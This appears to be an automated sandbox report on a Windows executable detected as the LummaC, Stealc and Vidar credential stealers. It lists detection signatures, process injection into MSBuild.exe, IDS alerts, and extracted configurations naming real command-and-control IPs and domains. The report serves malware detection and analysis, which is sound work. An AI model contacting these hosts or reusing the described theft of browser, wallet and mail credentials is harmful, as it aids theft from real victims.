Edit tour

Windows Analysis Report
45Ywq5ad5H.exe

Overview

General Information

Sample name:	45Ywq5ad5H.exe renamed because original name is a hash value
Original sample name:	b6abd0879ebc05d7be3038ed080cfcb4.exe
Analysis ID:	1528300
MD5:	b6abd0879ebc05d7be3038ed080cfcb4
SHA1:	9b19eda32e3d94ba9e3d116c22bd1309ac16968c
SHA256:	08fc29d1bcd3c1c9145a6cf9087ce892217c2d0312410d916dd8aa748a0479c6
Tags:	32exetrojan
Infos:

Detection

LummaC, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

45Ywq5ad5H.exe (PID: 6720 cmdline: "C:\Users\user\Desktop\45Ywq5ad5H.exe" MD5: B6ABD0879EBC05D7BE3038ED080CFCB4)

MSBuild.exe (PID: 2012 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cmd.exe (PID: 7608 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userJKECGDBFCB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userJKECGDBFCB.exe (PID: 7660 cmdline: "C:\Users\userJKECGDBFCB.exe" MD5: 8E704ACD1B0C26FDCFD0374D57FCB28E)

MSBuild.exe (PID: 7676 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 7900 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7676 -s 1660 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 8080 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7676 -s 1680 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7728 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7660 -s 284 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 4500 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 268 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["invinjurhey.sbs", "wickedneatr.sbs", "bemuzzeki.sbs", "isoplethui.sbs", "exilepolsiy.sbs", "frizzettei.sbs", "exemplarou.sbs", "laddyirekyi.sbs"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000013.00000002.1624642212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x5023a:$x5: vchost.exe
00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 45Ywq5ad5H.exe PID: 6720	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 2012	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 2012	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 2012	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 2012	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
19.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.MSBuild.exe.42bbc8.0.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x24672:$x5: vchost.exe
18.2.userJKECGDBFCB.exe.c0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.45Ywq5ad5H.exe.9fdad8.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.45Ywq5ad5H.exe.9fdad8.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
1.2.MSBuild.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
1.2.MSBuild.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
1.2.MSBuild.exe.400000.1.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x5023a:$x5: vchost.exe
0.2.45Ywq5ad5H.exe.9d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 46.8.231.109, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 2012, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49699

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:26.013008+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49749	104.21.74.165	443	TCP
2024-10-07T18:43:26.784933+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49760	188.114.96.3	443	TCP
2024-10-07T18:43:27.875236+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49766	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:26.013008+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49749	104.21.74.165	443	TCP
2024-10-07T18:43:26.784933+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49760	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:27.875236+0200	2049812	1	A Network Trojan was detected	192.168.2.7	49766	188.114.96.3	443	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:10.584784+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.7	49699	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:09.962506+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49699	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:10.755998+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49699	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:11.280611+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49699	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:10.768595+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.7	49699	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:09.623595+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49699	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:11.452851+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:15.481270+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:16.346249+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:17.308173+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:18.096927+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:20.230677+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:20.800107+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:23.416442+0200	2803304	3	Unknown Traffic	192.168.2.7	49736	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 45Ywq5ad5H.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://46.8.231.109/c4754d4f680ead72.php	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\Users\userJKECGDBFCB.exe	Avira: detection malicious, Label: HEUR/AGEN.1310458

Found malware configuration

Source: 18.2.userJKECGDBFCB.exe.c0000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["invinjurhey.sbs", "wickedneatr.sbs", "bemuzzeki.sbs", "isoplethui.sbs", "exilepolsiy.sbs", "frizzettei.sbs", "exemplarou.sbs", "laddyirekyi.sbs"], "Build id": "H8NgCl--"}
Source: 1.2.MSBuild.exe.400000.1.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 1.2.MSBuild.exe.400000.1.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	Joe Sandbox ML: detected
Source: C:\Users\userJKECGDBFCB.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 45Ywq5ad5H.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: wickedneatr.sbs
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: invinjurhey.sbs
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: laddyirekyi.sbs
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exilepolsiy.sbs
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: bemuzzeki.sbs
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: isoplethui.sbs
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: frizzettei.sbs
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Screen Resoluton:
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: Workgroup: -
Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	1_2_00409B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	1_2_0040C820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	1_2_00407240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00409AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	1_2_00418EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C516C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6C516C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C66A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6C66A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C664440 PK11_PrivDecrypt,	1_2_6C664440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C634420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	1_2_6C634420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6644C0 PK11_PubEncrypt,	1_2_6C6644C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6B25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	1_2_6C6B25B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C648670 PK11_ExportEncryptedPrivKeyInfo,	1_2_6C648670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C66A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	1_2_6C66A650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C64E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	1_2_6C64E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C68A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	1_2_6C68A730

Source: 45Ywq5ad5H.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.165:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49912 version: TLS 1.2

Source: 45Ywq5ad5H.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.1765332478.000000006C73F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.1765332478.000000006C73F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009E9ABF FindFirstFileExW,	0_2_009E9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040DA80
